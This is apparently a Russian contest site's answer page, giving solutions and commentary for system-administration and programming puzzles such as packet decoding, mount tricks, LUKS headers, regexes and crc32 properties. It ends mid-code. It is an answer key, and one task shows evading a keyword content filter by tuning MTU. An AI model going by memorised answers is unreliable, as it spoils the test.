(c) http://itstarz.ru/answers/
Публикуем правильные ответы на задания конкурса с комментариями авторов.
Вопрос 1
Системный администратор Атанасиос хочет по протоколу Wake-On-LAN разбудить компьютер, который находится за несколькими маршрутизаторами в IPv4-сети. Как следует отправить пакет?
Вопрос 2
Системный администратор Атанасиос хочет по протоколу Wake-On-LAN разбудить компьютер, который находится за несколькими маршрутизаторами в IPv6-сети. Как следует отправить пакет?
Вопрос 3
У вас есть гигабитная сеть. Для того чтобы проверить нагрузку, вам нужен файл, который на такой скорости может скачиваться минимум три часа, после чего закачка должна завершиться. Сделайте такой файл и расположите его в каталоге /tmp под именем bigfile.
Комментарий: 1 гигабит/с - это 10^9 бит, то есть 125000000 байт/сек. Умножаем это на 3 часа (1 час - 3600 сек.): 125000000*3600*3 = 1350000000000. Это около 1.3 Терабайт. Под такой файл вряд ли найдётся место, поэтому сделаем sparse-файл (http://ru.wikipedia.org/wiki/Разрежённый_файл). Самый простой способ сделать это:
truncate -s 2T /tmp/bigfile
Впрочем, способ из википедии (через dd) ничуть не хуже. Также можно написать программу, которая просто открывает новый файл и делает lseek() на нужную позицию, после чего закрывает файл. Некоторые участники пытались выполнить задание с помощью fallocate, однако, эта утилита, вместо sparse-файла, пытается выделить место в файловой системе, но без заполнения файла нулями, что невыполнимо в наших условиях.
Вопрос 4:
Каких пакетов не бывает непосредственно внутри PPTP-туннеля?
Вопрос 5
Системный администратор Василиас устроился на новую работу и первым делом решил понять, как работает корпоративная сеть.
От предшественника ему осталась схема маршрутизации, нарисованная неровной рукой на мятом клочке бумаги.
Через маршрутизатор прошли пакеты со следующими IP заголовками:
45 00 00 3d 0f 6d 40 00 40 11 1c 63 1f 50 8b 18 0a 50 5a 28 ...
45 00 00 26 be 16 40 00 40 11 f8 e6 0a 00 a8 c0 10 0a c0 ff ...
45 00 00 54 00 00 40 00 40 01 30 8d 0a 50 3e 23 c0 a8 01 01 ...
45 00 00 26 41 1e 40 00 01 11 ba 3f 0a 00 a8 c0 c0 a8 0b 01 ...
На сколько увеличатся счетчики отправленных пакетов на интерфейсах маршрутизатора?
Ответ вводить в следующем формате: ppp0=x ppp1=x ppp2=x
Комментарий:
Разберем пакеты:
UDP 31.80.139.24 -> 10.80.90.40
UDP 10.0.168.192 -> 16.10.192.255
ICMP 10.80.62.35 -> 192.168.1.1
UDP 10.0.168.192 -> 192.168.11.1 TTL=1
Первый пакет уйдет через интерфейс ppp1, второй через ppp0, третий через ppp2. А вот с четвертым пакетом нужно быть внимательным, так как он имеет TTL = 1. На маршрутизаторе TTL станет равным 0, а значит, данный пакет отбрасывается, а отправителю отсылается ICMP-пакет с кодом 11 (превышение TTL). Следовательно, счетчик отправленных пакетов увеличится не на ppp2, а на ppp1.
Вопрос 6
Однажды, далеко за полдень, вы обнаружили, что
`cat file | while read line; do echo $line; done`
и
`while read line; do echo $line; done <file`
значительно отличаются по производительности.
Почему?
Правильный ответ - "Чтение из pipe происходит по одному символу, это слишком медленно". Это, в свою очередь, происходит из-за того, что BASH пытается прочитать данные из PIPE таким образом, что при последующем чтении другим процессом из этого же PIPE не произойдёт потери данных. Если бы BASH читала из PIPE поблочно, то данные после первой прочитанной строки? были бы потеряны (их никто не может использовать, т.к. они в памяти BASH, положить их обратно в PIPE нельзя, seek() назад в PIPE сделать нельзя). Убедиться в таком поведении можно с помощью strace. При программировании на Си такое поведение регулируется способом буферизации stdin (man 3 setvbuf).
Вопрос 7
Технология DPI (Deep Packet Inspection) все более активно используется крупными компаниями и операторами связи для решения различных задач.
Выберите варианты, корректно описывающие возможности технологии:
Часто DPI-системы используются для выяснения настоящего протокола вне зависимости от порта. Это позволяет строить эффективные системы QoS.
DPI сама по себе не позволяет расшифровывать SSL-соединения. Это можно сделать как с использованием DPI-систем, так и без таковых (например, Squid + SSLBump).
DPI (Deep Packet Inspection) применяется как для IDS (Intrusion Detection System), так и для IPS (Intrusion Prevention System). IPS может блокировать трафик.
Использование Jumbo-пакетов с DPI вообще не связано, тем более, с их сжатием. =)
DPI позволяет благодаря более полному разгребанию трафика выявить атаки (отличить от реальной большой нагрузки), может выбирать реальные пользовательские данные (скажем, ICQ-сообщения), таким образом дать исходные данные для систем контентной фильтрации или же для антивирусных систем.
Стек операционной системы делает слишком много ненужных для работы DPI операций, отнимая процессорное время и память. DPI-системы не используют сетевой стек операционной системы и, поэтому, крайне эффективны в плане производительности.
Вопрос 8
Весной 2013 года некоммерческая организация Spamhaus подверглась самой серьезной в истории Интернет DDoS-атаке мощностью 300 Гбит/сек. К расследованию инцидента пришлось привлечь спецслужбы нескольких стран.
Выберите корректный вариант, объясняющий принцип работы метода DNS Amplification Attack, который использовался для нападения на компанию.
Вопрос 9
На одном сервере системный администратор Димитриос нашел пустой файл /tmp/secret, но его терзают сомнения, что все не так просто. В этом файле должно быть секретное число! Помогите Димитриосу узнать это число. Узнав это число, введите команду: answer <число>
Комментарий:
После анализа ситуации можно понять, что:
mkdir /tmp/somedir
mount --bind /tmp /tmp/somedir
cat /tmp/somedir/secret
Это работает, потому что при выполнении mount --bind вложенные точки монтирования не переносятся, а значит мы можем получить доступ к перекрытым файлам.
Вопрос 10
Чтобы избежать расщепления мозгов в отказоустойчивом кластере вам понадобится:
Избежать расщепления мозгов можно с помощью STONITH.
Вопрос 11
Вот беда! Вы забыли root-пароль на одном из своих серверов. Для его восстановления вы перезагрузили сервер и зашли с помощью init=/bin/bash.
До изменения пароля вы настроили сеть, запустили ping и решили отменить выполнение команды сочетанием клавиш <Ctrl+C>.
Однако кроме отображения символов ^C ничего не произошло.
Почему?
Вопрос 12
Скучая в обеденный перерыв админ Георгиос заметил, что у него в сети гуляют VPN-пакеты. Он решил разобраться в ситуации. Помогите Георгису определить, что скорее всего лежит внутри данного IPv4-пакета.
0000 45 00 00 5d a6 0f 40 00 40 2f 5f a1 0a 50 3e 23
0010 52 c1 99 8d 30 81 88 0b 00 39 0a 00 00 00 01 d0
0020 00 00 01 5f fd 91 60 fc 98 4c 72 0d 7b 82 09 27
0030 4e 65 70 96 ed cb d4 18 eb 43 f5 30 84 86 4b 4f
0040 ee b6 0e e0 66 97 45 77 7c 6d 93 72 41 25 db 24
0050 3f 3c 32 a4 5b 7b a9 5b 2f 17 1c 6f cd
Вопрос 13
Вам необходимо связать два сервера по протоколу IPv6. Между ними находится маршрутизатор без поддержки этого протокола.
На одном сервере нужно настроить
fec0:...:1
А на другом такой же IPv6-адрес, но с последним байтом 10 (fec0:...:10).
Ответ будет засчитан, как только связь по IPv6 между серверами появится.
Комментарий:
Стандартная процедура настройки IPv6 туннеля:
ip tunnel add admin2013 mode sit local 5.6.7.8 remote 1.2.3.4
ip addr add fec0::1/64 dev admin2013
ip link set up dev admin2013
Вопрос 14
Вам необходимо поднять локальную сеть.
Какую подсеть лучше всего выбрать?
Вопрос 15
Админ Димитрий писал очень важную спецификацию в своем любимом vim.
Посреди ночи он отошел за чаем на кухню буквально на пару минут, и вернувшись обнаружил, что его кот прошелся по клавиатуре, испортил файл и даже умудрился закрыть его!
К счастью, Димитрий логирует консоль, и у него осталась последовательность символов, введенных в vim котом.
Помогите Димитрию восстановить файл (<ENTER> - нажатие клавиши ENTER).
В задании было предложено скачать испорченный файл
Последовательность символов: 3jWdw/doc<ENTER>PZZ
Комментарий:
Последовательность нажатых клавиш: 3jWdw/doc<ENTER>PZZ
3j - Спустится на 3 строки вниз.
W - переместится на начало следующего слова.
dw - удалить следующее слова (удаленные области в vim складываются во внутренний буфер).
/doc<ENTER> -найти слова, начинающиеся с doc. Такое слово всего одно во второй строке. После этой команды мы окажемся в начале слова.
P - вставить из буфера перед курсором.
ZZ - закрыть файл с сохранением.
То есть все, что нужно сделать - вырезать слово перед словом document и вставить его после первого слова в строке 4. Можно даже предложить обратную последовательность: j4Wdw2j0WPZZ
Вопрос 16
У одного пользователя провайдер настроил примитивный контент-фильтр. Конечно же у пользователя сломалось обновление его любимой программы. Пользователь негодует и утверждает, что во всем виноват админ веб-сервера.
Но мы-то знаем что это не так!
До провайдера не дозвониться, доступа к компьютеру пользователя нет. Однако, известно, что его программа постоянно пытается скачать файл с вашего сервера по URL: http://1.2.3.4/data.dat
После долгих разбирательств вы поняли, что контент-фильтр не пропускает пакеты в которых есть слово: test
Менять содержимое файла нельзя. Перезапускать или останавливать веб-сервер нельзя.
Ответ будет зачтен после того, как у пользователя файл все-таки скачается в полном объёме.
Комментарий:
Из условий задачи решение о блокировке принимается попакетно. Таким образом, нужно сделать так, чтобы в одном пакете не встретилось слово test. Это легко достижимо с помощью подбора MTU на сетевом интерфейсе. При правильно подобранном MTU граница TCP-пакета окажется между буквами слова test, и такой примитивный контент-фильтр не сработает. С помощью tcpdump можно выяснить размеры пакетов, подправить MTU и задача решена.
Вопрос 1
Вы прибыли в Грецию на Первые Айтишные Олимпийские Игры. Небольшая разминка. Есть bmp-изображение, в котором содержится ответ на это задание. Найдите его.
.jpg)
Комментарий:
Дано изображение горгоны Медузы ("Медуза", работа Караваджо) в формате bmp. Такое впечатление, будто Медуза что-то говорит. Вспомним формат bmp - по смещению 18 лежит 32-битное значение в little-endian, отвечающее за высоту изображения в пикселях. Для данного изображения по этому смещению лежит положительное значение, а значит картинка отрисовывается снизу вверх. Далее необходимо только увеличить это значение чтобы увидеть ответ.
Вопрос 2
Служащий аэропорта просит вас помочь. Он работал над файлом /tmp/important и случайно удалил его. Но файл остался открытым в программе. Служащему не особо важно содержимое этого файла, но очень нужно узнать, когда последний раз было изменено содержимое файла.
Ответ принимается в виде команды: answer <timestamp>
Например, answer 345698384.
Небольшая подсказка: служащий аэропорта помнит, что этот файл изменяли очень-очень давно.
Комментарий:
1. Найти процесс, открывший данный файл (например, lsof или ls -l /proc/[0-9]*/fd/* | fgrep important).
2. Если сделать просто stat /proc/xxx/fd/yyy то мы увидим дату изменения самой символической ссылки, а это явно не то что нужно.
3. Нужно сделать stat -L /proc/xxx/fd/yyy, либо, что более сложно, создать пустой файл AAA, выполнить mount --bind /proc/xxx/fd/yyy AAA, а затем stat AAA.
4. Кроме того, нужно получить timestamp именно дату модификации (%Y), а не дату изменения (%Z)
Вопрос 3
По дороге из аэропорта вы немного поработали на ноутбуке. Спустя некотороые время вы внезапно обнаружили, что у ноутбука садится батарея. Сейчас вам необходимо корректно завершить работу системы, но устройство /dev/loop0 занято.
Срочно освободите его.
Комментарий:
Основная загвоздка была в том, что losetup был занят файлом, который использовался как swap. Этот файл удалили, но ссылка на него осталась в команде sleep. Таким образом, этот файл "держат" как команда sleep, так и подсистема SWAP. К сожалению, если убить команду sleep, освободить файл не удастся, так как отключить SWAP можно только при наличии ссылки на файл.
Те, кто заметил процесс sleep, пытались его убить и приводили систему к нерешаемому варианту. Поэтому нужно было сделать swapoff /proc/<pid_of_sleep>/fd/0, а только затем убивать sleep и освобождать losetup. На будущее мы придумали способ скрывать список команд, которые подготавливают вирт. машину, поэтому подсмотреть команды в следующий раз будет очень непросто. =)
Вопрос 4
Добравшись до центра города, вы останавливаетесь в маленьком уютном кафе пообедать. Обед - удачно время для небольшой тренировки.
У вас есть набор IP-адресов. Что в них спрятано?
Коментарий:
Данные ip адеса - побайтовая запись перевернутой utf-8 строки. Все что нужно сделать - перевести октеты в байты, декодировать в utf-8 и развернуть, получится строка вида "Ваш ответ: MD5". Данный md5 и является ответом. Многие пытались сдавать в качестве ответа число x, где MD5 = md5(x), поэтому участникам, приславшим это число, мы тоже засчитывали задание.
Вопрос 5
В кафе вам на столик кто-то подбросил записку, в которой указал адрес дома в Афинах. Прибыв туда, вы обнаружили, что дверь закрыта. Замок подключен к терминалу. Похоже, перед вами очередная головоломка.
Есть архив. в В нем дерево каталогов и полное безумие с кодировками. От вас требуется прислать точно такой же архив, в котором все каталоги перекодированы в UTF-8.
Комментарий:
Был дан tar архив с большоим количеством папок, имена которых были в различных кодировках. Необходимо было определить кодировку каждого имени и перевести в utf-8. Проблема в том, что некоторые папки имели одинаковые имена в utf-8. Так как просили прислать точно такой же архив, но с кодировками имен в utf-8, необходимо вспомнить про особенность tar, благодаря которой в одном архиве можно хранить файлы с одинаковыми именами. Добавить дублирующий файл можно с помощью команды:
tar --append --verbose --file=name.tar filename
Вопрос 6
Открыв дверь, вы попадает в темный коридор, в конце которого - очередной терминал. В нем вы находите файл с дампом сетевой активности. Скорее всего, с помощью этого дампа вы сможете найти ключ, который откроет вам путь дальше.
Ответ необходимо ввести на русском языке.
Коммментарий:
В этом файле несколько потоков данных. Проанализировав каждый из них, среди ненужных данных можно найти поток данных PCL, отправленных на некоторый принтер (что можно понять из номера порта TCP). Берём какое-нибудь средство для рендера PCL и видим картинку, на которой написан ответ.
Вопрос 7
Пройдя дальше, вы оказываетесь в просторном помещении, заставленном разным оборудованием. Здесь вы находите заблокированный терминал. Чтобы его разблокировать, нужно найти правильный ответ.
Вам дан архив с двумя дисками. Пароль от original.img - Jupiter. На диске xxx.img хранится ответ в явном виде. Найдите его и разблокируйте терминал.
Комментарий: Даны образы зашифрованных LUKS-дисков. С помощью cryptsetup luksDump можно понять, что хедеры у обоих образов одинаковые, а значит ключ от original подойдет к xxx. Поэтому достаточно скопировать заголовок original в xxx и смонтировать последний с помощью данного пароля.
dd if=origin.img of=xxx.img bs=1M count=1 conv=notrunc
echo Jupiter | cryptsetup luksOpen xxx.img crd
mount /dev/mapper/crd /mnt
cat /mnt/answer
Полученный md5 является паролем от оригинального xxx.img, а так же ответом. (Как и в случае с заданием про IP, мы принимали так же x, где MD5=md5(x).
Вопрос 8
Вдруг в помещение врывается непонятный человек. Он злится и ругается. Похоже, ему нужна ваша помощь.
В терминале не работает сеть. Надо достучаться до ip 1.2.3.4. Этот сервер слушает на порту 1234 и ждет подключения. Как только подключение будет - вы увидите у себя в консоли success.
Это значит, что задание выполнено правильно.
Комментарий:
Так как система загружается из сохранённого состояния (hibernate), то довольно затруднительно понять, какими именно командами конфигурировалась сеть. Впрочем, не сложным перебором можно найти причины блокировки трафика. В действительности, вот список команд которыми заблокировали трафик:
Вопрос 1
Кто изображен на фотографии?
Вопрос 2
Запишите следующее выражение в обратной польской нотации: (a+b)*c^d^e-f/(g+h/i)
Комментарий:
Предложено записать выражение в обратной польской нотации, известной многим ещё со школы. Небольшой подвох этого задания - используется операция возведения в степень (^), которая, как известно, обладает свойством правой ассоциативности.
В исходном выражении "c^d^e" вычисляется в порядке "c^(d^e)", поэтому обратная польская запись будет выглядеть как "cde^^". В свою очередь, запись "cd^e^" будет интерпретироваться как "(с^d)^e". Один из вариантов правильного ответа: "ab+cde^^*fghi/+/-". Из-за коммутативности операций сложения и умножения, правильных ответов несколько.
Вопрос 3
Молодой программист Андреас пытался написать свое первое регулярное выражение, с помощью которого хотел достать все строки, лежащие между ближайшими угловыми скобками (< и >). Вначале он написал регулярное выражение <(.*)>. Но оказалось, что для строки <dfd>> оно возвращает не dfd, а dfd>.
Помогите Андреасу: добавьте в регулярное выражение один символ, чтобы он заработал правильно.
Комментарий:
Квантификатор "*" в популярных движках регулярных выражениях обладает свойством жадности, поэтому под выражение будет подходить максимально длинная строка из возможных. Для того что бы этого избежать, можно использовать ленивые квантификаторы. Соответствующий ленивый квантификатор для "*" это "*?"
Вопрос 4
Начинающие программисты Нелий и Нестор разбирали исходники одной известной компьютерной игры для платформы x86 и наткнулись на странный код.
float func( float a )
{
long b;
float c, d;
const float e = 1.5F;
c = a * 0.5F;
d = a;
b = * ( long * ) &d;
b = 0x5f3759df - ( b >> 1 );
d = * ( float * ) &b;
d = d * ( e - ( c * d * d ) );
return d;
}
После долгих размышлений они поняли, что данная функция дает результаты, близкие к некоторой известной математической функции. Помогите им посчитать значение этой математической функции в точке 1.2345 с точностью 8 знаков после запятой.
Комментарий: В задании приведен слегка обфусцированный код функции быстрого инверсного квадратного корня из исходников игры Quake III Arena, который выдает значения, близкие к 1 / sqrt( x ). Алгоритм легко опознается по магической константе.
Вопрос 5
Программист Панайотис, бороздя просторы интернета, попал на загадочную веб-страницу, на которой была размещена форма без комментариев.Покопавшись в коде страницы, Панайотис понял, что форма принимает слово, подходящее под следующее регулярное выражение.
/^((([a-zA-Z]([a-zA-Z0-9_-]{0,61}[a-zA-Z0-9])?)|(([a-zA-Z0-9][a-zA-Z0-9_-]{0,61})?[a-zA-Z]))[.])+[a-zA-Z]+$/
На соответствие чему проверяет данное регулярное выражение?
Комментарий: Данное регулярное выражение проверяет, является ли строка доменным именем.
Вопрос 6
Директор обратился к вам с необычной задачей. Он принес описание таинственного алгоритма и потребовал посчитать по этому алгоритму значение от строки: And no more shall we part.
Посчитайте.
Комментарий: Данный алгоритм ни что иное, как sha256. Достаточно было догадаться и посчитать с помощью любых доступных средств.
Вопрос 7
Перед вами куски кода, написанные на разных языках. Сопоставьте код и язык.
Вариант1
main = do putStrLn "Hello, world."
Вариант2
package main
import "fmt"
func main() {
fmt.Printf("Hello, World\n")
}
Вариант3
object PrintOptions
{
def main(args: Array[String]) : Unit =
println("Hello, World!\n")
}
Вариант4
import std.stdio;
void main() {
writeln("Hello, World!");
}
Вариант5
-module(hello).
-export([hello_world/0]).
hello_world() -> io:fwrite("Hello, World\n").
Комментарий:
В данном задании представлены различные helloworld'ы на различных языках, почти все примеры можно найти в википедии на страницах представленных языков
Вопрос 8
crc32(salt + 'away') = 0xCB2A3B76
crc32(salt + 'molt') = 0x58D674F6
crc32(salt + 'coat') = 0x0DA77D88
crc32(salt + 'owly') = ???
Комментарий:
Вначале следовало заметить, что "away" ^ "molt" ^ "coat" = "owly" ("^" - операция xor). У алгоритма crc32 есть интересное свойство: crc32(a ^ b) = crc32(a) ^ crc32(b) ^ crc32(z), где длины a и b равны, z - строка из n нулей, где n - длина строки a. Из этого замечания следует, что: crc32(a ^ b ^ c) = crc32(a) ^ crc32(b) ^ crc32(с), где длины a, b и c равны. Хотя, конечно же, можно было решить и подбором.
Вопрос 9
Почему необходимо инициализировать значением локальные переменные перед использованием в языке C89?
При объявлении локальной переменной в языке C для неё выделяется некоторое место на стеке. Если переменную не инициализировать некоторым значением, в ней будут храниться те данные, которые до этого лежали в этом месте стека, поэтому без инициализации мы не можем точно предсказать, что конкретно будет храниться в данной переменной.
Вопрос 10
Проинициализируйте переменнyю i таким образом, чтобы распечаталось слово.
int i=???;
int j = -i;
if (i >= 0)
exit(0);
if (j >=0)
exit(0);
puts("hello");
Ответ запишите в виде 0x12345678.
Комментарий:
В данном задании, казалось бы, распечатать слово hello невозможно, так как для этого i должно удовлетворять условиям i < 0 и -i < 0, то есть число должно быть сразу же и положительным и отрицательным. i представлено в виде знакового целого 32-битного числа (int), которое, как известно, на большинстве архитектур хранится и используется в дополнительном коде.
Для дополнительного кода существует правило преобразования числа в число, обратное по знаку, а именно, ~(А-1), где А - представление некоторого числа в дополнительном коде, "~" - операция инверсии битов. int принимает значения из отрезка [-2^31, 2^31-1], из которого особый интерес вызывает число -2^31, так в данном отрезке нет числа -(-2^31). Найдем -(-2^31) по правилам дополнительных кодов.
-2^31 = 1000 0000 0000 0000 0000 0000 0000 00002
-2^31 - 1 = 0111 1111 1111 1111 1111 1111 1111 11112
-(-2^31) = ~(-2^31 - 1) = 1000 0000 0000 0000 0000 0000 0000 00002 = -2^31
Значит, если взять i = -2^31, то благодаря особенностям вычислений в дополнительных кодах j = -i = -2^31, а значит, i < 0 и j < 0, следовательно, в данном коде благополучно будут пройдены проверки, и на stdout выведется слово "hello". Ответом на задание является запись i в 16-ричном виде, то есть 0x80000000.
Вопрос 11
Какие структуры данных чаще всего используются при представлении следующих моделей?
Даны модели:
Числовую матрицу чаще всего представляют в виде двумерного массива.
Словарь очень удобно хранить в ассоциативных массивах, чтобы иметь быстрый доступ к элементам по ключу.
Иерархическая модель данных имеет структуру дерева.
В RPM-пакетах имеют место быть циклические зависимости, поэтому зависимости RPM пакетов удобно представлять в виде графов.
Вопрос 12
Приведены три листинга алгоритмов сортировки. Опознайте их.
Вариант1
void sortOne(int n, int[] a)
{
int i, j;
for(i = 0 ; i < n ; i++)
for(j = 0 ; j < n - i - 1 ; j++) {
if(a[j] > a[j+1]) {
int tmp = a[j];
a[j] = a[j+i];
a[j+1] = tmp;
}
}
}
Вариант2
public static void sortTwo(int[] A, int low, int high) {
int i = low;
int j = high;
int x = A[(low+high)/2];
do {
while(A[i] < x) ++i;
while(A[j] > x) --j;
if(i <= j){
int temp = A[i];
A[i] = A[j];
A[j] = temp;
i++; j--;
}
} while(i < j);
if(low < j) sortTwo(A, low, j);
if(i < high) sortTwo(A, i, high);
}
Вариант3
Var A,B : array[1..1000] of integer;
function sortThree (N : integer)
var
i,j : integer;
for i:=1 to N do
begin
j:=i;
while (j>1) and (B[j-1]>A[i]) do
begin
B[j]:=B[j-1];
j:=j-1;
end;
B[j]:=A[i];
end;
Методы сортировки:
Вопрос 13
Укажите результат выполнения следующего запроса на Прологе:
-? author(X, Y), derivedFrom(Y, unix)
для программы:
author(dijkstra, algol).
author(ritchie, unix).
author(wirth, pascal).
author(kernighan, awk).
author(backus, fortran).
author(kernighan, unix) .
author(backus, algol) .
author(kernighan, awk).
author(ritchie, plan9).
author(ritchie, c).
author(torvalds, linux).
author(corbato, multics).
author(aho, awk).
author(thompson, c).
author(straustrup, cpp).
author(hubbard, freebsd).
basedOn(linux, unix).
basedOn(pascal, algol).
basedOn(plan9, unix).
basedOn(unix, multics).
basedOn(awk, c).
basedOn(inferno, plan9).
basedOn(limbo, c).
basedOn(cpp, c).
basedOn(freebsd, c).
basedOn(openbsd, freebsd).
derivedFrom(X, Y) :- basedOn(X, Y).
derivedFrom(X, Z) :- basedOn(X, Y), basedOn(Y, Z).
Пролог - язык логического программирования. Данная парадигма почти не используется на данной момент, однако сама идея очень интересна своей необычностью. В данном задании был приведен совсем простой пример программы на прологе. Эта программа определяет некоторый набор так называемых "фактов". author - факт создания человеком некоторой сущности, а basedOn - факт исторической зависимости между сущностями. Например: факт author(thompson, c) показывает то, что thompson является автором языка С, а факт basedOn(cpp, c) показывает, что язык С++ многое перенял от языка С. Также определено правило вывода derivedFrom(X, Y) - "X произошло из Y или X произошло от Z, которое произошло от Y". Запрос author(X, Y), derivedFrom(Y, unix) можно сформулировать на русском языке как "X создал Y, а Y произошел от unix", и этот запрос выведет авторов систем производных от unix и имена этих систем. То есть, при условии заданных фактов, этот вопрос выведет "X = ritchie, Y = plan9; X = torvalds, Y = linux;"
Вопрос 14
Есть два текста. Посчитайте количество общих слов в этих двух текстах.
Комментарий: В задании требуется всего лишь найти количество общих слов любым доступным способом. Проблема этого задания - то что тексты даны на греческом языке. К примеру, на Python эта задача легко решается с помощью модуля regex и выражения "(\p{Greek}+)". В этом задании мы принимали числа в интервале +-50 от нашего ответа.
Вопрос 15
Вам дан словарь английского языка.
Необходимо составить из имеющихся слов палиндром длинной не менее 1000 символов, в котором каждое слово встречается один раз.
Ответ принимается в виде последовательности слов, разделенных пробелом
Комментарий:
Идея решения: ищем результат в виде left center right, где center - симметричное слово, left - последовательность слов, а right - побуквенное зеркальное отражение left и тоже последовательность слов. Т.е. по сути, надо научиться находить такие последовательности слов, которые при переворачивании тоже становились последовательностью слов. Далее такие последовательности вместе с отражениями будут называться зеркальными парами.
А теперь самое главное - имея две такие не пересекающиеся зеркальные пары (left1, right1) и (left2, right2), можно составить более длинный палиндром: left1 left2 center right2 right1. Технику можно применять несколько раз. Т.е., если научиться массово искать зеркальные пары, то можно из них всех построить очень длинный палиндром.
Исходный словарь надо профильтровать. А именно: выбросить слова, которые, если их перевернуть, не могут быть частью последовательности букв, составляющих одно или несколько склеенных словарных слов. См. функцию middleable.
def tailable(phrase, dontuse=()):
if not phrase:
return True, ()
if phrase in wordtails:
if validword(phrase, dontuse):
return True, (phrase,)
return False, (phrase,)
for i in xrange(1, len(phrase) - 1):
head = phrase[:i]
tail = phrase[i:]
if validword(tail, dontuse):
full, tailres = tailable(head, dontuse + (tail,))
if tailres is not None:
return full, tailres + (tail,)
return False, None
def middleable(phrase):
for i in xrange(len(phrase) + 1):
head = phrase[:i]
tail = phrase[i:]
if tail == "" or tail in wordheads:
full, headsplit = tailable(head)
if headsplit is not None:
return headsplit + (tail,)
return None
Аналогично, с помощью функции middleable, для каждого словарного слова можно построить список допустимых продолжений. Действительно, если слово склеить с продолжением и перевернуть, то может оказаться так, что получившаяся последовательность букв не может встретиться в последовательности словарных слов.
Итак, идея алгоритма:
Используем стек, первоначально содержащий один элемент (пустую последовательность). На каждом этапе снимаем префикс (последовательность слов) со стека и продолжаем всеми возможными способами. Переворачиваем дополненный префикс, пытаемся разбить на кусок-суффикс и целые слова. Если это невозможно - переходим к следующему продолжению префикса. Если возможно, и при этом в начале получилось целое слово - ура, мы сделали зеркальную пару (left, right), запоминаем ее, помечаем слова как использованные и переходим к следующему продолжению. Если в начале получилось не целое слово - добавляем дополненный префикс в стек.
Порядок проб важен. Если какое-то слово помечено как использованное, алгоритм проглядит более длинные куски, содержащие его. Чтобы как-то нейтрализовать этот эффект, можно вставить в программу вызов random.shuffle() и запустить ее несколько раз. Еще, оказывается, полезно браковать слишком короткие зеркальные пары, чтобы они не съедали слова слишком рано. Они все равно найдутся как приписка к другим парам.
Вопрос 16
Вам дан файл с шифрованным текстом очень известного произведения.
Назовите год рождения автора в формате ГГГГ.
Комментарий:
В качестве задания был предложен отрывок из романа "Мертвые души" Николая Васильевича Гоголя, зашифрованный простым аффинным шифром, который, как известно, легко взламывается с помощью частотного анализа.
Вопрос 1
Вы прибыли в Грецию на Первые Айтишные Олимпийские Игры.Небольшая разминка.В гите лежит программа, которая дает ответ на это задание. Найдите его.
Комментарий:
В данном репозитории приведен код на ассемблере для x86_64 под Linux, который выводит на stdout фразу, явно намекающую на то, что данный код приведен для отвода глаз. В самом коде нет никакой магии. Здесь используются стандартные syscall`ы linux, а блок magic является дизассемблированным байтовым представлением строки "Ooops! It is a wrong way!\n". Места, в которых после дизассемблирования появлялись команды jump, были заменены на их обычное байтовое представление, чтобы гарантировать однозначную компиляцию на различных платформах.
Следует заметить, что в основной ветке находится целых 17 коммитов, к которым прикреплены странные сообщения. Эти сообщения, записанные в обратном порядке, являются ни чем иным, как кодом на Perl, который после запуска выводит ответ.
Вопрос 2
Служащий аэропорта просит вас о помощи.Он скачал непонятный файл. Помогите ему разобраться с этим файлом и найдите ответ на это задание.
Ответ является числом и будет дан в явной форме.
Комментарий:
В данном вопросе дана bmp-картинка. Обратите внимание на подсказку. "Это не spoon"! Мальчик явно лжет! Spoon - название одного из диалектов brainfuck, особенностью которого является то, что команды задаются с помощью нулей и единиц. Взяв бинарный вид файла и преобразовав его в строку из нулей и единиц, можно скормить получившийся код в любой интерпретатор spoon, который выведет ответ.
Вопрос 3
По дороге из аэропорта вы решаете почитать новости в интернете, но обнаруживаете, что кто-то пошутил над вами и заблокировал ноутбук.Теперь там отображается лишь эта страница. Вам необходимо подобрать пароль.
Вы неплохо разбираетесь в Javascript, поэтому знаете, откуда начать поиск.
Комментарий:
В исходном коде страницы с вопросом можно увидеть, что подключен скрипт с говорящим название "lock.js".
В файле находится base64-кодированный исходный код, который раскодируется в рантайме и исполняется.
Необходимо раскодировать код руками, после чего будет получен минифицированный js.
Для того чтобы понять, что в нем происходит, достаточно переформатировать его при помощи, например, http://lisperator.net/uglifyjs/.
После этого можно понять, что большую часть скрипта занимает разная математика (если погуглить, можно понять что это shaXXX кодирование) и совсем немного интерисного кода.
Легко зацепиться за переменную konkurs_user_id, либо сразу найти переопределение браузерного объекта Audio.
Если посмотреть в браузерной консоли на этот объект, то будет видно 2 метода: google&facebook. Выполнение первого из них приведет к ошибке, второй метод выведет правильный ответ. ( Audio().facebook() )
Далее в исходном коде страницы можно увидеть скрытый input с name="answer". Сделав его видимым или любым другим способом вставив в него правильный ответ после отправки формы, вопрос будет засчитан.
Вопрос 4
Добравшись до центра города, вы останавливаетесь в маленьком уютном кафе пообедать. Обед - удачное время для небольшой тренировки.
Головоломкой со спичками называется задание такого вида.
Дано исходное расположение спичек, которое представляет собой верное или неверное равенство одного из следующих видов A+B=C, A-B=C, A=B+C, A=B-C, где A, B и C - это цифры, сложенные из спичек.
Требуется, переложив ровно одну спичку на другое место, получить верное равенство одного из допустимых видов. Спички убирать нельзя!
Сколько существует различных головоломок со спичками, имеющих хотя бы одно решение. Расположение спичек в цифрах и знаках должно соответствовать эталону.
Комментарий:
Задание достаточно просто решается перебором. По сути, алгоритм представляет формальную запись действий, которые мы бы попытались произвести руками: переберем все возможные равенства (верные или не верные), для каждого из них будем решать следующую задачу - будем подряд рассматривать каждый символ.
Посмотрим, возможно ли из него убрать спичку так, чтобы получился валидный символ (если таких несколько переберем все). Затем попытаемся положить спичку в другое место, так чтобы получился валидный символ (и опять, если их несколько, переберем все). Далее проверим равенство на корректность и уточним один момент - не положили ли мы спичку на то место, с которого взяли. Если одно равенство не корректно, тогда опять рассмотрим каждый символ в выражении и попробуем спичку переложить в пределах одного символа. Это не было проверено на предыдущем шаге, так как после удалении спички символа мы требовали, чтобы на месте остался валидный символ. Далее опять совершим проверку выражения на корректность.
Пример решения:
remove_to = {
0: [],
1: [],
2: [],
3: [],
4: [],
5: [],
6: [5],
7: [1],
8: [0, 6, 9],
9: [3, 5],
"+": ["-"],
"-": [],
"=": ["-"],
}
add_to = {
0: [8],
1: [7],
2: [],
3: [9],
4: [],
5: [6,9],
6: [8],
7: [],
8: [],
9: [8],
"+": [],
"-": ["+", "="],
"=": [],
}
shift_to = {
0: [6, 9],
1: [],
2: [3],
3: [2, 5],
4: [],
5: [3],
6: [9, 0],
7: [],
8: [],
9: [6, 0],
"+": ["="],
"-": [],
"=": ["+"],
}
operators = ["+", "-", "="]
def correct(expression):
a, o1, b, o2, c = expression
if o1 == o2:
return False
